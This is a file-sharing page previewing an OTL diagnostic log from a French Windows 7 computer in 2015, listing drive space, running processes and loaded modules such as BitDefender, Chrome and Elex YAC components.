cjoint

Publicité

Cliquez pour partager vos propres fichiers

Publicité

Format du document : text/plain

Prévisualisation

ÿþOTL logfile created on: 02/12/2015 18:00:44 - Run 1
OTL by OldTimer - Version 3.2.69.0 Folder = C:\Users\abdelilah\Downloads
Ultimate Edition Service Pack 1 (Version = 6.1.7601) - Type = NTWorkstation
Internet Explorer (Version = 8.0.7601.17514)
Locale: 0000040c | Country: France | Language: FRA | Date Format: dd/MM/yyyy

1,99 Gb Total Physical Memory | 0,88 Gb Available Physical Memory | 44,13% Memory free
3,98 Gb Paging File | 1,20 Gb Available in Paging File | 30,03% Paging File free
Paging file location(s): ?:\pagefile.sys [binary data]

%SystemDrive% = C: | %SystemRoot% = C:\Windows | %ProgramFiles% = C:\Program Files
Drive C: | 42,89 Gb Total Space | 9,55 Gb Free Space | 22,26% Space Free | Partition Type: NTFS
Drive F: | 15,61 Gb Total Space | 0,13 Gb Free Space | 0,85% Space Free | Partition Type: NTFS
Drive G: | 100,71 Gb Total Space | 4,40 Gb Free Space | 4,37% Space Free | Partition Type: NTFS
Drive H: | 40,90 Gb Total Space | 0,96 Gb Free Space | 2,35% Space Free | Partition Type: NTFS
Drive Y: | 48,83 Gb Total Space | 0,92 Gb Free Space | 1,88% Space Free | Partition Type: NTFS
Drive Z: | 49,07 Gb Total Space | 0,28 Gb Free Space | 0,58% Space Free | Partition Type: NTFS

Computer Name: OUAZZANI | User Name: abdelilah | Logged in as Administrator.
Boot Mode: Normal | Scan Mode: All users
Company Name Whitelist: Off | Skip Microsoft Files: Off | No Company Name Whitelist: On | File Age = 60 Days

[color=#E56717]========== Processes (All) ==========[/color]

PRC - [2015/12/02 17:58:07 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Users\abdelilah\Downloads\OTL.exe
PRC - [2015/11/27 13:30:10 | 000,170,144 | ---- | M] (TODO: <lQøS T>) -- C:\Program Files\SFK\SSFK.exe
PRC - [2015/11/23 09:24:54 | 000,580,752 | ---- | M] (tsvr.com) -- C:\Users\abdelilah\AppData\Roaming\TSv\TSvr.exe
PRC - [2015/11/07 04:36:36 | 000,811,848 | ---- | M] (Google Inc.) -- C:\Program Files\Google\Chrome\Application\chrome.exe
PRC - [2015/10/30 10:13:34 | 000,295,424 | ---- | M] (DTools LIMITED) -- C:\ProgramData\eWMiniProe\WMiniPro.exe
PRC - [2015/10/12 09:28:44 | 001,433,216 | ---- | M] (Microsoft Corporation) -- C:\Program Files\Skype\Toolbars\AutoUpdate\SkypeC2CAutoUpdateSvc.exe
PRC - [2015/10/12 09:28:42 | 001,773,696 | ---- | M] (Microsoft Corporation) -- C:\Program Files\Skype\Toolbars\PNRSvc\SkypeC2CPNRSvc.exe
PRC - [2015/06/10 06:30:37 | 000,368,000 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\iSafeTray.exe
PRC - [2015/06/10 06:24:56 | 000,118,048 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\iSafeSvc.exe
PRC - [2015/06/10 06:24:49 | 000,118,048 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\iSafeSvc2.exe
PRC - [2015/03/19 16:54:38 | 000,295,512 | ---- | M] (RealNetworks, Inc.) -- C:\Program Files\Real\RealPlayer\Update\realsched.exe
PRC - [2015/01/15 07:42:17 | 000,022,528 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\lsass.exe
PRC - [2014/10/07 15:39:42 | 000,507,776 | ---- | M] (Oracle Corporation) -- C:\Program Files\Common Files\Java\Java Update\jusched.exe
PRC - [2013/08/14 15:19:22 | 000,039,056 | ---- | M] () -- C:\Program Files\RealNetworks\RealDownloader\rndlresolversvc.exe
PRC - [2013/03/19 02:49:16 | 000,069,632 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\smss.exe
PRC - [2012/11/11 22:38:35 | 001,118,232 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\seccenter.exe
PRC - [2012/11/11 22:38:00 | 001,615,688 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\vsserv.exe
PRC - [2012/11/11 22:36:11 | 000,310,856 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\Common Files\BitDefender\BitDefender Update Service\livesrv.exe
PRC - [2012/11/11 22:35:50 | 001,200,880 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\bdagent.exe
PRC - [2010/11/20 12:17:54 | 000,286,720 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\winlogon.exe
PRC - [2010/11/20 12:17:47 | 000,049,152 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\taskhost.exe
PRC - [2010/11/20 12:17:45 | 000,317,440 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\spoolsv.exe
PRC - [2010/11/20 12:17:16 | 000,267,776 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\lsm.exe
PRC - [2010/11/20 12:17:09 | 002,616,320 | ---- | M] (Microsoft Corporation) -- C:\Windows\explorer.exe
PRC - [2010/04/03 11:56:08 | 042,884,448 | ---- | M] (Microsoft Corporation) -- c:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe
PRC - [2010/04/03 11:56:08 | 000,097,632 | ---- | M] (Microsoft Corporation) -- c:\Program Files\Microsoft SQL Server\90\Shared\sqlwriter.exe
PRC - [2009/09/23 19:30:48 | 000,252,952 | ---- | M] (Intel Corporation) -- C:\Windows\System32\igfxsrvc.exe
PRC - [2009/09/23 19:30:48 | 000,173,592 | ---- | M] (Intel Corporation) -- C:\Windows\System32\hkcmd.exe
PRC - [2009/09/23 19:30:48 | 000,150,552 | ---- | M] (Intel Corporation) -- C:\Windows\System32\igfxpers.exe
PRC - [2009/09/23 19:30:48 | 000,141,848 | ---- | M] (Intel Corporation) -- C:\Windows\System32\igfxtray.exe
PRC - [2009/07/14 01:14:45 | 000,096,256 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wininit.exe
PRC - [2009/07/14 01:14:41 | 000,020,992 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\svchost.exe [comLaunch]
PRC - [2009/07/14 01:14:41 | 000,020,992 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\svchost.exe [comLaunch]
PRC - [2009/07/14 01:14:41 | 000,020,992 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\svchost.exe [comLaunch]
PRC - [2009/07/14 01:14:41 | 000,020,992 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\svchost.exe [comLaunch]
PRC - [2009/07/14 01:14:41 | 000,020,992 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\svchost.exe [comLaunch]
PRC - [2009/07/14 01:14:41 | 000,020,992 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\svchost.exe [comLaunch]
PRC - [2009/07/14 01:14:41 | 000,020,992 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\svchost.exe [comLaunch]
PRC - [2009/07/14 01:14:41 | 000,020,992 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\svchost.exe [comLaunch]
PRC - [2009/07/14 01:14:41 | 000,020,992 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\svchost.exe [comLaunch]
PRC - [2009/07/14 01:14:41 | 000,020,992 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\svchost.exe [comLaunch]
PRC - [2009/07/14 01:14:41 | 000,020,992 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\svchost.exe [comLaunch]
PRC - [2009/07/14 01:14:41 | 000,020,992 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\svchost.exe [comLaunch]
PRC - [2009/07/14 01:14:41 | 000,020,992 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\svchost.exe [comLaunch]
PRC - [2009/07/14 01:14:41 | 000,020,992 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\svchost.exe [comLaunch]
PRC - [2009/07/14 01:14:36 | 000,259,072 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\services.exe
PRC - [2009/07/14 01:14:35 | 000,428,032 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\SearchIndexer.exe
PRC - [2009/07/14 01:14:27 | 000,179,712 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\notepad.exe
PRC - [2009/07/14 01:14:19 | 000,092,672 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\dwm.exe
PRC - [2009/07/14 01:14:16 | 000,006,144 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\csrss.exe
PRC - [2008/07/16 10:09:02 | 000,798,720 | ---- | M] (zbshareware, Inc) -- C:\Program Files\USB Disk Security\USBGuard.exe


[color=#E56717]========== Modules (All) ==========[/color]

MOD - [2015/12/02 17:58:07 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Users\abdelilah\Downloads\OTL.exe
MOD - [2015/11/07 04:36:36 | 000,811,848 | ---- | M] (Google Inc.) -- C:\Program Files\Google\Chrome\Application\chrome.exe
MOD - [2015/11/07 04:36:33 | 001,532,744 | ---- | M] () -- C:\Program Files\Google\Chrome\Application\46.0.2490.86\libglesv2.dll
MOD - [2015/11/07 04:36:32 | 000,081,224 | ---- | M] () -- C:\Program Files\Google\Chrome\Application\46.0.2490.86\libegl.dll
MOD - [2015/11/07 04:36:30 | 041,401,160 | ---- | M] (Google Inc.) -- C:\Program Files\Google\Chrome\Application\46.0.2490.86\chrome_child.dll
MOD - [2015/11/07 04:36:30 | 000,133,960 | ---- | M] (Google Inc.) -- C:\Program Files\Google\Chrome\Application\46.0.2490.86\chrome_elf.dll
MOD - [2015/11/07 04:36:28 | 032,938,312 | ---- | M] (Google Inc.) -- C:\Program Files\Google\Chrome\Application\46.0.2490.86\chrome.dll
MOD - [2015/11/07 03:34:28 | 003,466,856 | ---- | M] (Microsoft Corporation) -- C:\Program Files\Google\Chrome\Application\46.0.2490.86\d3dcompiler_47.dll
MOD - [2015/09/23 10:45:14 | 000,411,592 | ---- | M] (Lenovo) -- C:\Program Files\Lenovo\REACHit\webStorage32.dll
MOD - [2015/09/23 10:45:06 | 001,906,120 | ---- | M] (Lenovo) -- C:\Program Files\Lenovo\REACHit\ReachDrive32.dll
MOD - [2015/06/10 06:32:15 | 000,216,904 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\iTPMsgCenter.dll
MOD - [2015/06/10 06:32:07 | 000,194,080 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\iTPDesk.dll
MOD - [2015/06/10 06:32:00 | 000,246,448 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\iTPPush.dll
MOD - [2015/06/10 06:31:47 | 000,475,600 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\iTPVirus.dll
MOD - [2015/06/10 06:31:36 | 000,358,152 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\iTPStartupAssist.dll
MOD - [2015/06/10 06:31:27 | 000,325,984 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\iTPProtect.dll
MOD - [2015/06/10 06:31:19 | 000,208,024 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\iTpNodisturb.dll
MOD - [2015/06/10 06:31:12 | 000,530,144 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\iTPFloaty.dll
MOD - [2015/06/10 06:30:57 | 000,254,880 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\iTPFeedback.dll
MOD - [2015/06/10 06:30:37 | 000,368,000 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\iSafeTray.exe
MOD - [2015/06/10 06:29:12 | 000,090,120 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\iDskDllPatch.dll
MOD - [2015/06/10 06:29:07 | 000,299,000 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\iSafeMon.dll
MOD - [2015/06/10 06:27:57 | 000,558,664 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\isafesopt.dll
MOD - [2015/06/10 06:27:29 | 000,094,848 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\iTPAutoClean.dll
MOD - [2015/06/10 06:27:07 | 000,385,192 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\iCommon.dll
MOD - [2015/06/10 06:26:56 | 001,056,416 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\isafebase.dll
MOD - [2015/06/10 06:26:38 | 000,185,192 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\isaferpt.dll
MOD - [2015/06/10 06:26:32 | 000,125,416 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\isafepxy.dll
MOD - [2015/06/10 06:26:28 | 000,038,648 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\isafemc.dll
MOD - [2015/06/10 06:26:24 | 000,059,944 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\iCommu.dll
MOD - [2015/06/10 06:26:20 | 000,996,696 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\iImportLib.dll
MOD - [2015/06/10 06:24:57 | 000,535,008 | ---- | M] (Microsoft Corporation) -- C:\Program Files\Elex-tech\YAC\msvcp110.dll
MOD - [2015/06/10 06:24:57 | 000,393,216 | ---- | M] (SQLite3) -- C:\Program Files\Elex-tech\YAC\sqlite3.dll
MOD - [2015/06/10 06:24:57 | 000,065,696 | ---- | M] () -- C:\Program Files\Elex-tech\YAC\zlib1.dll
MOD - [2015/06/10 06:24:53 | 000,582,144 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\curlpp.dll
MOD - [2015/06/10 06:24:51 | 001,187,000 | ---- | M] (The OpenSSL Project, http://www.openssl.org/) -- C:\Program Files\Elex-tech\YAC\libeay32.dll
MOD - [2015/06/10 06:24:51 | 000,281,648 | ---- | M] (The OpenSSL Project, http://www.openssl.org/) -- C:\Program Files\Elex-tech\YAC\ssleay32.dll
MOD - [2015/06/10 06:24:46 | 000,875,472 | ---- | M] (Microsoft Corporation) -- C:\Program Files\Elex-tech\YAC\msvcr110.dll
MOD - [2015/06/10 06:24:45 | 001,926,472 | ---- | M] (Elex do Brasil Participações Ltda) -- C:\Program Files\Elex-tech\YAC\ouilibx.dll
MOD - [2015/06/10 06:24:45 | 000,179,200 | ---- | M] () -- C:\Program Files\Elex-tech\YAC\libpng.dll
MOD - [2015/06/10 06:24:37 | 000,306,368 | ---- | M] (The cURL library, http://curl.haxx.se/) -- C:\Program Files\Elex-tech\YAC\libcurl.dll
MOD - [2015/03/19 16:54:38 | 000,295,512 | ---- | M] (RealNetworks, Inc.) -- C:\Program Files\Real\RealPlayer\Update\realsched.exe
MOD - [2015/01/29 00:00:06 | 000,062,800 | ---- | M] (Microsoft Corporation) -- C:\Windows\winsxs\x86_microsoft.vc90.mfcloc_1fc8b3b9a1e18e3b_9.0.30729.4148_none_4973eb1d754a9dc9\MFC90FRA.DLL
MOD - [2015/01/29 00:00:03 | 003,780,424 | ---- | M] (Microsoft Corporation) -- C:\Windows\winsxs\x86_microsoft.vc90.mfc_1fc8b3b9a1e18e3b_9.0.30729.4148_none_4bf5400abf9d60b7\mfc90u.dll
MOD - [2015/01/28 23:59:57 | 000,159,032 | ---- | M] (Microsoft Corporation) -- C:\Windows\winsxs\x86_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.4148_none_51ca66a2bbe76806\ATL90.dll
MOD - [2015/01/15 07:43:01 | 000,100,352 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\sspicli.dll
MOD - [2015/01/15 07:42:59 | 000,022,016 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\secur32.dll
MOD - [2015/01/13 02:49:26 | 001,011,200 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\WindowsCodecs.dll
MOD - [2015/01/12 02:45:17 | 000,981,504 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wininet.dll
MOD - [2015/01/12 02:45:04 | 001,267,712 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\urlmon.dll
MOD - [2015/01/12 02:44:49 | 011,020,800 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\ieframe.dll
MOD - [2015/01/12 02:44:49 | 002,086,912 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\iertutil.dll
MOD - [2015/01/12 02:44:49 | 000,163,840 | ---- | M] (Microsoft Corporation) -- C:\Program Files\Internet Explorer\ieproxy.dll
MOD - [2014/12/12 05:07:26 | 001,174,528 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\crypt32.dll
MOD - [2014/11/26 03:32:05 | 000,571,904 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\oleaut32.dll
MOD - [2014/10/07 15:39:42 | 000,507,776 | ---- | M] (Oracle Corporation) -- C:\Program Files\Common Files\Java\Java Update\jusched.exe
MOD - [2014/10/03 01:44:26 | 000,195,584 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\AudioSes.dll
MOD - [2014/09/19 09:23:46 | 000,221,184 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\ncrypt.dll
MOD - [2014/09/19 09:23:36 | 000,017,408 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\credssp.dll
MOD - [2014/08/23 01:46:55 | 000,305,152 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\gdi32.dll
MOD - [2014/07/14 01:42:02 | 000,654,336 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\rpcrt4.dll
MOD - [2014/07/07 01:40:37 | 000,179,200 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wintrust.dll
MOD - [2014/06/25 01:41:30 | 012,874,240 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\shell32.dll
MOD - [2014/06/18 01:52:09 | 000,348,672 | ---- | M] (Microsoft Corporation) -- C:\Program Files\Common Files\microsoft shared\ink\tiptsf.dll
MOD - [2014/04/25 02:06:17 | 000,626,688 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\usp10.dll
MOD - [2014/03/26 14:27:50 | 001,389,056 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\msxml6.dll
MOD - [2014/03/26 14:27:50 | 001,237,504 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\msxml3.dll
MOD - [2014/02/25 19:00:18 | 000,232,968 | ---- | M] (BitDefender S.R.L. Bucharest, ROMANIA) -- C:\Program Files\BitDefender\BitDefender 2010\Active Virus Control\midas32-v2_102\midas32.dll
MOD - [2013/12/19 00:41:02 | 004,171,480 | ---- | M] (Microsoft Corporation) -- C:\Program Files\Microsoft Office\Office14\GROOVEEX.DLL
MOD - [2013/10/12 02:01:25 | 000,216,576 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\FWPUCLNT.DLL
MOD - [2013/09/08 02:03:58 | 000,231,424 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\mswsock.dll
MOD - [2013/09/05 00:14:10 | 004,300,456 | ---- | M] () -- C:\Program Files\Common Files\microsoft shared\OFFICE14\Cultures\OFFICE.ODF
MOD - [2013/08/29 01:50:30 | 001,289,096 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\ntdll.dll
MOD - [2013/08/29 01:48:17 | 000,640,512 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\advapi32.dll
MOD - [2013/08/27 08:21:36 | 001,077,760 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\DWrite.dll
MOD - [2013/07/26 01:55:59 | 000,180,224 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\shdocvw.dll
MOD - [2013/07/09 04:46:31 | 000,103,936 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\cryptnet.dll
MOD - [2013/07/04 11:51:04 | 000,081,920 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\davclnt.dll
MOD - [2013/07/04 11:50:56 | 000,530,432 | ---- | M] (Microsoft Corporation) -- C:\Windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18201_none_ec80f00e8593ece5\comctl32.dll
MOD - [2013/06/06 04:52:14 | 000,026,112 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\lpk.dll
MOD - [2013/02/27 04:49:24 | 001,796,096 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\authui.dll
MOD - [2012/12/14 14:39:18 | 008,945,328 | ---- | M] (Microsoft Corporation) -- C:\Program Files\Microsoft Office\Office14\1036\GrooveIntlResource.dll
MOD - [2012/11/11 22:39:31 | 000,593,408 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\FRA\seccenter.ui
MOD - [2012/11/11 22:39:27 | 000,406,528 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\wizards.dll
MOD - [2012/11/11 22:39:16 | 000,046,080 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\reginfo.dll
MOD - [2012/11/11 22:39:14 | 000,027,136 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\encryption.dll
MOD - [2012/11/11 22:39:09 | 000,300,544 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\popup.dll
MOD - [2012/11/11 22:38:56 | 000,039,424 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\antispy.dll
MOD - [2012/11/11 22:38:55 | 000,354,304 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\exclude.dll
MOD - [2012/11/11 22:38:47 | 000,566,784 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\pcontrol.dll
MOD - [2012/11/11 22:38:44 | 000,340,480 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\bdascl.dll
MOD - [2012/11/11 22:38:40 | 000,218,112 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\bdfvconp.dll
MOD - [2012/11/11 22:38:36 | 000,121,192 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\nag.dll
MOD - [2012/11/11 22:38:35 | 001,118,232 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\seccenter.exe
MOD - [2012/11/11 22:38:26 | 000,523,264 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\productinfo.dll
MOD - [2012/11/11 22:38:20 | 000,047,616 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\bdusers.dll
MOD - [2012/11/11 22:38:15 | 000,368,368 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\dashboard.dll
MOD - [2012/11/11 22:38:10 | 000,156,648 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\bdelev.dll
MOD - [2012/11/11 22:38:08 | 001,002,360 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\hmplugin.dll
MOD - [2012/11/11 22:38:01 | 000,092,672 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\bdfvsctx.dll
MOD - [2012/11/11 22:36:43 | 000,137,216 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\advanced.dll
MOD - [2012/11/11 22:36:38 | 000,033,792 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\FRA\wizards.ui
MOD - [2012/11/11 22:36:36 | 000,042,496 | ---- | M] (BitDefender LLC) -- C:\Program Files\BitDefender\BitDefender 2010\npcomm.dll
MOD - [2012/11/11 22:36:30 | 000,461,312 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\FRA\bdagent.ui
MOD - [2012/11/11 22:36:28 | 000,023,552 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\FRA\bdfvconp.ui
MOD - [2012/11/11 22:36:22 | 000,004,096 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\FRA\bdfvsecp.ui
MOD - [2012/11/11 22:36:20 | 000,245,248 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\live.dll
MOD - [2012/11/11 22:36:19 | 000,185,344 | ---- | M] (BitDefender S.R.L. http://www.bitdefender.com) -- C:\Program Files\BitDefender\BitDefender 2010\wspack.dll
MOD - [2012/11/11 22:36:16 | 000,227,840 | ---- | M] (BitDefender S.R.L. http://www.bitdefender.com) -- C:\Program Files\BitDefender\BitDefender 2010\wsutils.dll
MOD - [2012/11/11 22:36:15 | 000,117,760 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\vulnerability.dll
MOD - [2012/11/11 22:36:13 | 000,094,720 | ---- | M] () -- C:\Program Files\BitDefender\BitDefender 2010\framework.dll
MOD - [2012/11/11 22:36:11 | 000,162,816 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\hmcore.dll
MOD - [2012/11/11 22:36:06 | 000,517,632 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\vscan.dll
MOD - [2012/11/11 22:36:06 | 000,049,152 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\FRA\popup.ui
MOD - [2012/11/11 22:36:02 | 000,010,752 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\FRA\bdshellext.ui
MOD - [2012/11/11 22:35:58 | 000,129,536 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\bdoe.dll
MOD - [2012/11/11 22:35:58 | 000,029,184 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\reg_sup.dll
MOD - [2012/11/11 22:35:57 | 000,143,872 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\FRA\fwgui.ui
MOD - [2012/11/11 22:35:56 | 000,406,016 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\fwgui.dll
MOD - [2012/11/11 22:35:54 | 000,113,664 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\ashield.dll
MOD - [2012/11/11 22:35:51 | 000,087,552 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\security.dll
MOD - [2012/11/11 22:35:50 | 001,200,880 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\bdagent.exe
MOD - [2012/11/11 22:35:44 | 000,128,512 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\bdasconp.dll
MOD - [2012/11/11 22:35:38 | 000,075,264 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\imencui.dll
MOD - [2012/11/11 22:35:28 | 000,012,800 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\FRA\security.ui
MOD - [2012/11/11 22:35:23 | 000,450,280 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\issues.dll
MOD - [2012/11/11 22:35:20 | 000,105,472 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\registry.dll
MOD - [2012/11/11 22:35:20 | 000,074,752 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\bdutils.dll
MOD - [2012/11/11 22:35:16 | 000,218,624 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\excmgr.dll
MOD - [2012/11/11 22:35:16 | 000,043,520 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\FRA\bdfvsctx.ui
MOD - [2012/11/11 22:35:12 | 001,007,616 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\bdguictl.dll
MOD - [2012/11/11 22:35:07 | 000,894,976 | ---- | M] (BitDefender S.R.L. http://www.bitdefender.com) -- C:\Program Files\BitDefender\BitDefender 2010\wslib.dll
MOD - [2012/11/11 22:34:57 | 000,356,864 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\vshield.dll
MOD - [2012/11/11 22:34:54 | 000,120,320 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\cookie.dll
MOD - [2012/11/11 22:34:51 | 000,229,376 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\producttweaksplugin.dll
